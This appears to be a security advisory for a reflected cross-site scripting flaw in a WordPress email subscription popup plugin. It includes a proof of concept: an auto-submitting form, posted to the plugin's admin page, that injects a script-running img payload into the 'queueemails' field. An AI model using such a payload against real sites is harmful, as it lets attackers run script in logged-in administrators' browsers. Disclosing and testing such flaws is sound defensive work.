Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=email_subscription_popup_subscribers_management" method="POST">
<input type="hidden" name="action" value="sendEmailForm" />
<input type="hidden" name="sendEmailQueue" value="1" />
<input type="hidden" name="queueemails" value="</textarea><img src onerror=alert(/XSS/)>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>